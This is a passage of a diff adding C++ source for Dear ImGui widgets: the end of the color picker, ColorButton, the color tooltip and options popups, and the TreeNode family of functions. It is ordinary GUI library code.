sv_cursor_rad + 1, col_midgrey, 12); + draw_list->AddCircle(sv_cursor_pos, sv_cursor_rad, col_white, 12); + + // Render alpha bar + if (alpha_bar) + { + float alpha = ImSaturate(col[3]); + ImRect bar1_bb(bar1_pos_x, picker_pos.y, bar1_pos_x + bars_width, picker_pos.y + sv_picker_size); + RenderColorRectWithAlphaCheckerboard(draw_list, bar1_bb.Min, bar1_bb.Max, 0, bar1_bb.GetWidth() / 2.0f, ImVec2(0.0f, 0.0f)); + draw_list->AddRectFilledMultiColor(bar1_bb.Min, bar1_bb.Max, user_col32_striped_of_alpha, user_col32_striped_of_alpha, user_col32_striped_of_alpha & ~IM_COL32_A_MASK, user_col32_striped_of_alpha & ~IM_COL32_A_MASK); + float bar1_line_y = IM_ROUND(picker_pos.y + (1.0f - alpha) * sv_picker_size); + RenderFrameBorder(bar1_bb.Min, bar1_bb.Max, 0.0f); + RenderArrowsForVerticalBar(draw_list, ImVec2(bar1_pos_x - 1, bar1_line_y), ImVec2(bars_triangles_half_sz + 1, bars_triangles_half_sz), bars_width + 2.0f, style.Alpha); + } + + EndGroup(); + + if (value_changed && memcmp(backup_initial_col, col, components * sizeof(float)) == 0) + value_changed = false; + if (value_changed) + MarkItemEdited(window->DC.LastItemId); + + PopID(); + + return value_changed; +} + +// A little color square. Return true when clicked. +// FIXME: May want to display/ignore the alpha component in the color display? Yet show it in the tooltip. +// 'desc_id' is not called 'label' because we don't display it next to the button, but only in the tooltip. +// Note that 'col' may be encoded in HSV if ImGuiColorEditFlags_InputHSV is set. +bool ImGui::ColorButton(const char* desc_id, const ImVec4& col, ImGuiColorEditFlags flags, ImVec2 size) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiID id = window->GetID(desc_id); + float default_size = GetFrameHeight(); + if (size.x == 0.0f) + size.x = default_size; + if (size.y == 0.0f) + size.y = default_size; + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + ItemSize(bb, (size.y >= default_size) ? g.Style.FramePadding.y : 0.0f); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + + if (flags & ImGuiColorEditFlags_NoAlpha) + flags &= ~(ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf); + + ImVec4 col_rgb = col; + if (flags & ImGuiColorEditFlags_InputHSV) + ColorConvertHSVtoRGB(col_rgb.x, col_rgb.y, col_rgb.z, col_rgb.x, col_rgb.y, col_rgb.z); + + ImVec4 col_rgb_without_alpha(col_rgb.x, col_rgb.y, col_rgb.z, 1.0f); + float grid_step = ImMin(size.x, size.y) / 2.99f; + float rounding = ImMin(g.Style.FrameRounding, grid_step * 0.5f); + ImRect bb_inner = bb; + float off = 0.0f; + if ((flags & ImGuiColorEditFlags_NoBorder) == 0) + { + off = -0.75f; // The border (using Col_FrameBg) tends to look off when color is near-opaque and rounding is enabled. This offset seemed like a good middle ground to reduce those artifacts. + bb_inner.Expand(off); + } + if ((flags & ImGuiColorEditFlags_AlphaPreviewHalf) && col_rgb.w < 1.0f) + { + float mid_x = IM_ROUND((bb_inner.Min.x + bb_inner.Max.x) * 0.5f); + RenderColorRectWithAlphaCheckerboard(window->DrawList, ImVec2(bb_inner.Min.x + grid_step, bb_inner.Min.y), bb_inner.Max, GetColorU32(col_rgb), grid_step, ImVec2(-grid_step + off, off), rounding, ImDrawCornerFlags_TopRight | ImDrawCornerFlags_BotRight); + window->DrawList->AddRectFilled(bb_inner.Min, ImVec2(mid_x, bb_inner.Max.y), GetColorU32(col_rgb_without_alpha), rounding, ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotLeft); + } + else + { + // Because GetColorU32() multiplies by the global style Alpha and we don't want to display a checkerboard if the source code had no alpha + ImVec4 col_source = (flags & ImGuiColorEditFlags_AlphaPreview) ? col_rgb : col_rgb_without_alpha; + if (col_source.w < 1.0f) + RenderColorRectWithAlphaCheckerboard(window->DrawList, bb_inner.Min, bb_inner.Max, GetColorU32(col_source), grid_step, ImVec2(off, off), rounding); + else + window->DrawList->AddRectFilled(bb_inner.Min, bb_inner.Max, GetColorU32(col_source), rounding, ImDrawCornerFlags_All); + } + RenderNavHighlight(bb, id); + if ((flags & ImGuiColorEditFlags_NoBorder) == 0) + { + if (g.Style.FrameBorderSize > 0.0f) + RenderFrameBorder(bb.Min, bb.Max, rounding); + else + window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(ImGuiCol_FrameBg), rounding); // Color button are often in need of some sort of border + } + + // Drag and Drop Source + // NB: The ActiveId test is merely an optional micro-optimization, BeginDragDropSource() does the same test. + if (g.ActiveId == id && !(flags & ImGuiColorEditFlags_NoDragDrop) && BeginDragDropSource()) + { + if (flags & ImGuiColorEditFlags_NoAlpha) + SetDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F, &col_rgb, sizeof(float) * 3, ImGuiCond_Once); + else + SetDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F, &col_rgb, sizeof(float) * 4, ImGuiCond_Once); + ColorButton(desc_id, col, flags); + SameLine(); + TextEx("Color"); + EndDragDropSource(); + } + + // Tooltip + if (!(flags & ImGuiColorEditFlags_NoTooltip) && hovered) + ColorTooltip(desc_id, &col.x, flags & (ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf)); + + return pressed; +} + +// Initialize/override default color options +void ImGui::SetColorEditOptions(ImGuiColorEditFlags flags) +{ + ImGuiContext& g = *GImGui; + if ((flags & ImGuiColorEditFlags__DisplayMask) == 0) + flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__DisplayMask; + if ((flags & ImGuiColorEditFlags__DataTypeMask) == 0) + flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__DataTypeMask; + if ((flags & ImGuiColorEditFlags__PickerMask) == 0) + flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__PickerMask; + if ((flags & ImGuiColorEditFlags__InputMask) == 0) + flags |= ImGuiColorEditFlags__OptionsDefault & ImGuiColorEditFlags__InputMask; + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DisplayMask)); // Check only 1 option is selected + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__DataTypeMask)); // Check only 1 option is selected + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__PickerMask)); // Check only 1 option is selected + IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiColorEditFlags__InputMask)); // Check only 1 option is selected + g.ColorEditOptions = flags; +} + +// Note: only access 3 floats if ImGuiColorEditFlags_NoAlpha flag is set. +void ImGui::ColorTooltip(const char* text, const float* col, ImGuiColorEditFlags flags) +{ + ImGuiContext& g = *GImGui; + + BeginTooltipEx(0, ImGuiTooltipFlags_OverridePreviousTooltip); + const char* text_end = text ? FindRenderedTextEnd(text, NULL) : text; + if (text_end > text) + { + TextEx(text, text_end); + Separator(); + } + + ImVec2 sz(g.FontSize * 3 + g.Style.FramePadding.y * 2, g.FontSize * 3 + g.Style.FramePadding.y * 2); + ImVec4 cf(col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); + int cr = IM_F32_TO_INT8_SAT(col[0]), cg = IM_F32_TO_INT8_SAT(col[1]), cb = IM_F32_TO_INT8_SAT(col[2]), ca = (flags & ImGuiColorEditFlags_NoAlpha) ? 255 : IM_F32_TO_INT8_SAT(col[3]); + ColorButton("##preview", cf, (flags & (ImGuiColorEditFlags__InputMask | ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_AlphaPreview | ImGuiColorEditFlags_AlphaPreviewHalf)) | ImGuiColorEditFlags_NoTooltip, sz); + SameLine(); + if ((flags & ImGuiColorEditFlags_InputRGB) || !(flags & ImGuiColorEditFlags__InputMask)) + { + if (flags & ImGuiColorEditFlags_NoAlpha) + Text("#%02X%02X%02X\nR: %d, G: %d, B: %d\n(%.3f, %.3f, %.3f)", cr, cg, cb, cr, cg, cb, col[0], col[1], col[2]); + else + Text("#%02X%02X%02X%02X\nR:%d, G:%d, B:%d, A:%d\n(%.3f, %.3f, %.3f, %.3f)", cr, cg, cb, ca, cr, cg, cb, ca, col[0], col[1], col[2], col[3]); + } + else if (flags & ImGuiColorEditFlags_InputHSV) + { + if (flags & ImGuiColorEditFlags_NoAlpha) + Text("H: %.3f, S: %.3f, V: %.3f", col[0], col[1], col[2]); + else + Text("H: %.3f, S: %.3f, V: %.3f, A: %.3f", col[0], col[1], col[2], col[3]); + } + EndTooltip(); +} + +void ImGui::ColorEditOptionsPopup(const float* col, ImGuiColorEditFlags flags) +{ + bool allow_opt_inputs = !(flags & ImGuiColorEditFlags__DisplayMask); + bool allow_opt_datatype = !(flags & ImGuiColorEditFlags__DataTypeMask); + if ((!allow_opt_inputs && !allow_opt_datatype) || !BeginPopup("context")) + return; + ImGuiContext& g = *GImGui; + ImGuiColorEditFlags opts = g.ColorEditOptions; + if (allow_opt_inputs) + { + if (RadioButton("RGB", (opts & ImGuiColorEditFlags_DisplayRGB) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayRGB; + if (RadioButton("HSV", (opts & ImGuiColorEditFlags_DisplayHSV) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayHSV; + if (RadioButton("Hex", (opts & ImGuiColorEditFlags_DisplayHex) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayHex; + } + if (allow_opt_datatype) + { + if (allow_opt_inputs) Separator(); + if (RadioButton("0..255", (opts & ImGuiColorEditFlags_Uint8) != 0)) opts = (opts & ~ImGuiColorEditFlags__DataTypeMask) | ImGuiColorEditFlags_Uint8; + if (RadioButton("0.00..1.00", (opts & ImGuiColorEditFlags_Float) != 0)) opts = (opts & ~ImGuiColorEditFlags__DataTypeMask) | ImGuiColorEditFlags_Float; + } + + if (allow_opt_inputs || allow_opt_datatype) + Separator(); + if (Button("Copy as..", ImVec2(-1, 0))) + OpenPopup("Copy"); + if (BeginPopup("Copy")) + { + int cr = IM_F32_TO_INT8_SAT(col[0]), cg = IM_F32_TO_INT8_SAT(col[1]), cb = IM_F32_TO_INT8_SAT(col[2]), ca = (flags & ImGuiColorEditFlags_NoAlpha) ? 255 : IM_F32_TO_INT8_SAT(col[3]); + char buf[64]; + ImFormatString(buf, IM_ARRAYSIZE(buf), "(%.3ff, %.3ff, %.3ff, %.3ff)", col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); + if (Selectable(buf)) + SetClipboardText(buf); + ImFormatString(buf, IM_ARRAYSIZE(buf), "(%d,%d,%d,%d)", cr, cg, cb, ca); + if (Selectable(buf)) + SetClipboardText(buf); + ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X", cr, cg, cb); + if (Selectable(buf)) + SetClipboardText(buf); + if (!(flags & ImGuiColorEditFlags_NoAlpha)) + { + ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X%02X", cr, cg, cb, ca); + if (Selectable(buf)) + SetClipboardText(buf); + } + EndPopup(); + } + + g.ColorEditOptions = opts; + EndPopup(); +} + +void ImGui::ColorPickerOptionsPopup(const float* ref_col, ImGuiColorEditFlags flags) +{ + bool allow_opt_picker = !(flags & ImGuiColorEditFlags__PickerMask); + bool allow_opt_alpha_bar = !(flags & ImGuiColorEditFlags_NoAlpha) && !(flags & ImGuiColorEditFlags_AlphaBar); + if ((!allow_opt_picker && !allow_opt_alpha_bar) || !BeginPopup("context")) + return; + ImGuiContext& g = *GImGui; + if (allow_opt_picker) + { + ImVec2 picker_size(g.FontSize * 8, ImMax(g.FontSize * 8 - (GetFrameHeight() + g.Style.ItemInnerSpacing.x), 1.0f)); // FIXME: Picker size copied from main picker function + PushItemWidth(picker_size.x); + for (int picker_type = 0; picker_type < 2; picker_type++) + { + // Draw small/thumbnail version of each picker type (over an invisible button for selection) + if (picker_type > 0) Separator(); + PushID(picker_type); + ImGuiColorEditFlags picker_flags = ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoOptions | ImGuiColorEditFlags_NoLabel | ImGuiColorEditFlags_NoSidePreview | (flags & ImGuiColorEditFlags_NoAlpha); + if (picker_type == 0) picker_flags |= ImGuiColorEditFlags_PickerHueBar; + if (picker_type == 1) picker_flags |= ImGuiColorEditFlags_PickerHueWheel; + ImVec2 backup_pos = GetCursorScreenPos(); + if (Selectable("##selectable", false, 0, picker_size)) // By default, Selectable() is closing popup + g.ColorEditOptions = (g.ColorEditOptions & ~ImGuiColorEditFlags__PickerMask) | (picker_flags & ImGuiColorEditFlags__PickerMask); + SetCursorScreenPos(backup_pos); + ImVec4 previewing_ref_col; + memcpy(&previewing_ref_col, ref_col, sizeof(float) * ((picker_flags & ImGuiColorEditFlags_NoAlpha) ? 3 : 4)); + ColorPicker4("##previewing_picker", &previewing_ref_col.x, picker_flags); + PopID(); + } + PopItemWidth(); + } + if (allow_opt_alpha_bar) + { + if (allow_opt_picker) Separator(); + CheckboxFlags("Alpha Bar", &g.ColorEditOptions, ImGuiColorEditFlags_AlphaBar); + } + EndPopup(); +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: TreeNode, CollapsingHeader, etc. +//------------------------------------------------------------------------- +// - TreeNode() +// - TreeNodeV() +// - TreeNodeEx() +// - TreeNodeExV() +// - TreeNodeBehavior() [Internal] +// - TreePush() +// - TreePop() +// - GetTreeNodeToLabelSpacing() +// - SetNextItemOpen() +// - CollapsingHeader() +//------------------------------------------------------------------------- + +bool ImGui::TreeNode(const char* str_id, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + bool is_open = TreeNodeExV(str_id, 0, fmt, args); + va_end(args); + return is_open; +} + +bool ImGui::TreeNode(const void* ptr_id, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + bool is_open = TreeNodeExV(ptr_id, 0, fmt, args); + va_end(args); + return is_open; +} + +bool ImGui::TreeNode(const char* label) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + return TreeNodeBehavior(window->GetID(label), 0, label, NULL); +} + +bool ImGui::TreeNodeV(const char* str_id, const char* fmt, va_list args) +{ + return TreeNodeExV(str_id, 0, fmt, args); +} + +bool ImGui::TreeNodeV(const void* ptr_id, const char* fmt, va_list args) +{ + return TreeNodeExV(ptr_id, 0, fmt, args); +} + +bool ImGui::TreeNodeEx(const char* label, ImGuiTreeNodeFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + return TreeNodeBehavior(window->GetID(label), flags, label, NULL); +} + +bool ImGui::TreeNodeEx(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + bool is_open = TreeNodeExV(str_id, flags, fmt, args); + va_end(args); + return is_open; +} + +bool ImGui::TreeNodeEx(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + bool is_open = TreeNodeExV(ptr_id, flags, fmt, args); + va_end(args); + return is_open; +} + +bool ImGui::TreeNodeExV(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const char* label_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); + return TreeNodeBehavior(window->GetID(str_id), flags, g.TempBuffer, label_end); +} + +bool ImGui::TreeNodeExV(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const char* label_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); + return TreeNodeBehavior(window->GetID(ptr_id), flags, g.TempBuffer, label_end); +} + +bool ImGui::TreeNodeBehaviorIsOpen(ImGuiID id, ImGuiTreeNodeFlags flags) +{ + if (flags & ImGuiTreeNodeFlags_Leaf) + return true; + + // We only write to the tree storage if the user clicks (or explicitly use the SetNextItemOpen function) + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + ImGuiStorage* storage = window->DC.StateStorage; + + bool is_open; + if (g.NextItemData.Flags & ImGuiNextItemDataFlags_HasOpen) + { + if (g.NextItemData.OpenCond & ImGuiCond_Always) + { + is_open = g.NextItemData.OpenVal; + storage->SetInt(id, is_open); + } + else + { + // We treat ImGuiCond_Once and ImGuiCond_FirstUseEver the same because tree node state are not saved persistently. + const int stored_value = storage->GetInt(id, -1); + if (stored_value == -1) + { + is_open = g.NextItemData.OpenVal; + storage->SetInt(id, is_open); + } + else + { + is_open = stored_value != 0; + } + } + } + else + { + is_open = storage->GetInt(id, (flags & ImGuiTreeNodeFlags_DefaultOpen) ? 1 : 0) != 0; + } + + // When logging is enabled, we automatically expand tree nodes (but *NOT* collapsing headers.. seems like sensible behavior). + // NB- If we are above max depth we still allow manually opened nodes to be logged. + if (g.LogEnabled && !(flags & ImGuiTreeNodeFlags_NoAutoOpenOnLog) && (window->DC.TreeDepth - g.LogDepthRef) < g.LogDepthToExpand) + is_open = true; + + return is_open; +} + +bool ImGui::TreeNodeBehavior(ImGuiID id, ImGuiTreeNodeFlags flags, const char* label, const char* label_end) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const bool display_frame = (flags & ImGuiTreeNodeFlags_Framed) != 0; + const ImVec2 padding = (display_frame || (flags & ImGuiTreeNodeFlags_FramePadding)) ? style.FramePadding : ImVec2(style.FramePadding.x, ImMin(window->DC.CurrLineTextBaseOffset, style.FramePadding.y)); + + if (!label_end) + label_end = FindRenderedTextEnd(label); + const ImVec2 label_size = CalcTextSize(label, label_end, false); + + // We vertically grow up to current line height up the typical widget height. + const float frame_height = ImMax(ImMin(window->DC.CurrLineSize.y, g.FontSize + style.FramePadding.y * 2), label_size.y + padding.y * 2); + ImRect frame_bb; + frame_bb.Min.x = (flags & ImGuiTreeNodeFlags_SpanFullWidth) ? window->WorkRect.Min.x : window->DC.CursorPos.x; + frame_bb.Min.y = window->DC.CursorPos.y; + frame_bb.Max.x = window->WorkRect.Max.x; + frame_bb.Max.y = window->DC.CursorPos.y + frame_height; + if (display_frame) + { + // Framed header expand a little outside the default padding, to the edge of InnerClipRect + // (FIXME: May remove this at some point and make InnerClipRect align with WindowPadding.x instead of WindowPadding.x*0.5f) + frame_bb.Min.x -= IM_FLOOR(window->WindowPadding.x * 0.5f - 1.0f); + frame_bb.Max.x += IM_FLOOR(window->WindowPadding.x * 0.5f); + } + + const float text_offset_x = g.FontSize + (display_frame ? padding.x * 3 : padding.x * 2); // Collapser arrow width + Spacing + const float text_offset_y = ImMax(padding.y, window->DC.CurrLineTextBaseOffset); // Latch before ItemSize changes it + const float text_width = g.FontSize + (label_size.x > 0.0f ? label_size.x + padding.x * 2 : 0.0f); // Include collapser + ImVec2 text_pos(window->DC.CursorPos.x + text_offset_x, window->DC.CursorPos.y + text_offset_y); + ItemSize(ImVec2(text_width, frame_height), padding.y); + + // For regular tree nodes, we arbitrary allow to click past 2 worth of ItemSpacing + ImRect interact_bb = frame_bb; + if (!display_frame && (flags & (ImGuiTreeNodeFlags_SpanAvailWidth | ImGuiTreeNodeFlags_SpanFullWidth)) == 0) + interact_bb.Max.x = frame_bb.Min.x + text_width + style.ItemSpacing.x * 2.0f; + + // Store a flag for the current depth to tell if we will allow closing this node when navigating one of its child. + // For this purpose we essentially compare if g.NavIdIsAlive went from 0 to 1 between TreeNode() and TreePop(). + // This is currently only support 32 level deep and we are fine with (1 << Depth) overflowing into a zero. + const bool is_leaf = (flags & ImGuiTreeNodeFlags_Leaf) != 0; + bool is_open = TreeNodeBehaviorIsOpen(id, flags); + if (is_open && !g.NavIdIsAlive && (flags & ImGuiTreeNodeFlags_NavLeftJumpsBackHere) && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) + window->DC.TreeJumpToParentOnPopMask |= (1 << window->DC.TreeDepth); + + bool item_add = ItemAdd(interact_bb, id); + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HasDisplayRect; + window->DC.LastItemDisplayRect = frame_bb; + + if (!item_add) + { + if (is_open && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) + TreePushOverrideID(id); + IMGUI_TEST_ENGINE_ITEM_INFO(window->DC.LastItemId, label, window->DC.ItemFlags | (is_leaf ? 0 : ImGuiItemStatusFlags_Openable) | (is_open ? ImGuiItemStatusFlags_Opened : 0)); + return is_open; + } + + ImGuiButtonFlags button_flags = ImGuiTreeNodeFlags_None; + if (flags & ImGuiTreeNodeFlags_AllowItemOverlap) + button_flags |= ImGuiButtonFlags_AllowItemOverlap; + if (!is_leaf) + button_flags |= ImGuiButtonFlags_PressedOnDragDropHold; + + // We allow clicking on the arrow section with keyboard modifiers held, in order to easily + // allow browsing a tree while preserving selection with code implementing multi-selection patterns. + // When clicking on the rest of the tree node we always disallow keyboard modifiers. + const float arrow_hit_x1 = (text_pos.x - text_offset_x) - style.TouchExtraPadding.x; + const float arrow_hit_x2 = (text_pos.x - text_offset_x) + (g.FontSize + padding.x * 2.0f) + style.TouchExtraPadding.x; + const bool is_mouse_x_over_arrow = (g.IO.MousePos.x >= arrow_hit_x1 && g.IO.MousePos.x < arrow_hit_x2); + if (window != g.HoveredWindow || !is_mouse_x_over_arrow) + button_flags |= ImGuiButtonFlags_NoKeyModifiers; + + // Open behaviors can be altered with the _OpenOnArrow and _OnOnDoubleClick flags. + // Some alteration have subtle effects (e.g. toggle on MouseUp vs MouseDown events) due to requirements for multi-selection and drag and drop support. + // - Single-click on label = Toggle on MouseUp (default, when _OpenOnArrow=0) + // - Single-click on arrow = Toggle on MouseDown (when _OpenOnArrow=0) + // - Single-click on arrow = Toggle on MouseDown (when _OpenOnArrow=1) + // - Double-click on label = Toggle on MouseDoubleClick (when _OpenOnDoubleClick=1) + // - Double-click on arrow = Toggle on MouseDoubleClick (when _OpenOnDoubleClick=1 and _OpenOnArrow=0) + // It is rather standard that arrow click react on Down rather than Up. + // We set ImGuiButtonFlags_PressedOnClickRelease on OpenOnDoubleClick because we want the item to be active on the initial MouseDown in order for drag and drop to work. + if (is_mouse_x_over_arrow) + button_flags |= ImGuiButtonFlags_PressedOnClick; + else if (flags & ImGuiTreeNodeFlags_OpenOnDoubleClick) + button_flags |= ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnDoubleClick; + else + button_flags |= ImGuiButtonFlags_PressedOnClickRelease; + + bool selected = (flags & ImGuiTreeNodeFlags_Selected) != 0; + const bool was_selected = selected; + + bool hovered, held; + bool pressed = ButtonBehavior(interact_bb, id, &hovered, &held, button_flags); + bool toggled = false; + if (!is_leaf) + { + if (pressed && g.DragDropHoldJustPressedId != id) + { + if ((flags & (ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick)) == 0 || (g.NavActivateId == id)) + toggled = true; + if (flags & ImGuiTreeNodeFlags_OpenOnArrow) + toggled |= is_mouse_x_over_arrow && !g.NavDisableMouseHover; // Lightweight equivalent of IsMouseHoveringRect() since ButtonBehavior() already did the job + if ((flags & ImGuiTreeNodeFlags_OpenOnDoubleClick) && g.IO.MouseDoubleClicked[0]) + toggled = true; + } + else if (pressed && g.DragDropHoldJustPressedId == id) + { + IM_ASSERT(button_flags & ImGuiButtonFlags_PressedOnDragDropHold); + if (!is_open) // When using Drag and Drop "hold to open" we keep the node highlighted after opening, but never close it again. + toggled = true; + } + + if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Left && is_open) + { + toggled = true; + NavMoveRequestCancel(); + } + if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Right && !is_open) // If there's something upcoming on the line we may want to give it the priority? + { + toggled = true; + NavMoveRequestCancel(); + } + + if (toggled) + { + is_open = !is_open; + window->DC.StateStorage->SetInt(id, is_open); + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledOpen; + } + } + if (flags & ImGuiTreeNodeFlags_AllowItemOverlap) + SetItemAllowOverlap(); + + // In this branch, TreeNodeBehavior() cannot toggle the selection so this will never trigger. + if (selected != was_selected) //-V547 + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; + + // Render + const ImU32 text_col = GetColorU32(ImGuiCol_Text); + ImGuiNavHighlightFlags nav_highlight_flags = ImGuiNavHighlightFlags_TypeThin; + if (display_frame) + { + // Framed type + const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + RenderFrame(frame_bb.Min, frame_bb.Max, bg_col, true, style.FrameRounding); + RenderNavHighlight(frame_bb, id, nav_highlight_flags); + if (flags & ImGuiTreeNodeFlags_Bullet) + RenderBullet(window->DrawList, ImVec2(text_pos.x - text_offset_x * 0.60f, text_pos.y + g.FontSize * 0.5f), text_col); + else if (!is_leaf) + RenderArrow(window->DrawList, ImVec2(text_pos.x - text_offset_x + padding.x, text_pos.y), text_col, is_open ? ImGuiDir_Down : ImGuiDir_Right, 1.0f); + else // Leaf without bullet, left-adjusted text + text_pos.x -= text_offset_x; + if (flags & ImGuiTreeNodeFlags_ClipLabelForTrailingButton) + frame_bb.Max.x -= g.FontSize + style.FramePadding.x; + if (g.LogEnabled) + { + // NB: '##' is normally used to hide text (as a library-wide feature), so we need to specify the text range to make sure the ## aren't stripped out here. + const char log_prefix[] = "\n##"; + const char log_suffix[] = "##"; + LogRenderedText(&text_pos, log_prefix, log_prefix + 3); + RenderTextClipped(text_pos, frame_bb.Max, label, label_end, &label_size); + LogRenderedText(&text_pos, log_suffix, log_suffix + 2); + } + else + { + RenderTextClipped(text_pos, frame_bb.Max, label, label_end, &label_size); + } + } + else + { + // Unframed typed for tree nodes + if (hovered || selected) + { + const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + RenderFrame(frame_bb.Min, frame_bb.Max, bg_col, false); + RenderNavHighlight(frame_bb, id, nav_highlight_flags); + } + if (flags & ImGuiTreeNodeFlags_Bullet) + RenderBullet(window->DrawList, ImVec2(text_pos.x - text_offset_x * 0.5f, text_pos.y + g.FontSize * 0.5f), text_col); + else if (!is_leaf) + RenderArrow(window->DrawList, ImVec2(text_pos.x - text_offset_x + padding.x, text_pos.y + g.FontSize * 0.15f), text_col, is_open ? ImGuiDir_Down : ImGuiDir_Right, 0.70f); + if (g.LogEnabled) + LogRenderedText(&text_pos, ">"); + RenderText(text_pos, label, label_end, false); + } + + if (is_open && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) + TreePushOverrideID(id); + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | (is_leaf ? 0 : ImGuiItemStatusFlags_Openable) | (is_open ? ImGuiItemStatusFlags_Opened : 0)); + return is_open; +} + +void ImGui::TreePush(const char* str_id) +{ + ImGuiWindow* window = GetCurrentWindow(); + Indent(); + window->DC.TreeDepth++; + PushID(str_id ? str_id : "#TreePush"); +} + +void ImGui::TreePush(const void* ptr_id) +{ + ImGuiWindow* window = GetCurrentWindow(); + Indent(); + window->DC.TreeDepth++; + PushID(ptr_id ? ptr_id : (const void*)"#TreePush"); +} + +void ImGui::TreePushOverrideID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + Indent(); + window->DC.TreeDepth++; + window->IDStack.push_back(id); +} + +void ImGui::TreePop() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + Unindent(); + + window->DC.TreeDepth--; + ImU32 tree_depth_mask = (1 << window->DC.TreeDepth); + + // Handle Left arrow to move to parent tree node (when ImGuiTreeNodeFlags_NavLeftJumpsBackHere is enabled) + if (g.NavMoveDir == ImGuiDir_Left && g.NavWindow == window && NavMoveRequestButNoResultYet()) + if (g.NavIdIsAlive && (window->DC.TreeJumpToParentOnPopMask & tree_depth_mask)) + { + SetNavID(window->IDStack.back(), g.NavLayer, 0); + NavMoveRequestCancel(); + } + window->DC.TreeJumpToParentOnPopMask &= tree_depth_mask - 1; + + IM_ASSERT(window->IDStack.Size > 1); // There should always be 1 element in the IDStack (pushed during window creation). If this triggers you called TreePop/PopID too much. + PopID(); +} + +// Horizontal distance preceding label when using TreeNode() or Bullet() +float ImGui::GetTreeNodeToLabelSpacing() +{ + ImGuiContext& g = *GImGui; + return g.FontSize + (g.Style.FramePadding.x * 2.0f); +} + +// Set next TreeNode/CollapsingHeader open state. +void ImGui::SetNextItemOpen(bool is_open, ImGuiCond cond) +{ + ImGuiContext& g = *GImGui; + if (g.CurrentWindow->SkipItems) + return; + g.NextItemData.Flags |= ImGuiNextItemDataFlags_HasOpen; + g.NextItemData.OpenVal = is_open; + g.NextItemData.OpenCond = cond ? cond : ImGuiCond_Always; +} + +// CollapsingHeader returns true when opened but do not indent nor push into the ID stack (because of the ImGuiTreeNodeFlags_NoTreePushOnOpen flag). +// This is basically the same as calling TreeNodeEx(label, ImGuiTreeNodeFlags_CollapsingHeader). You can remove the 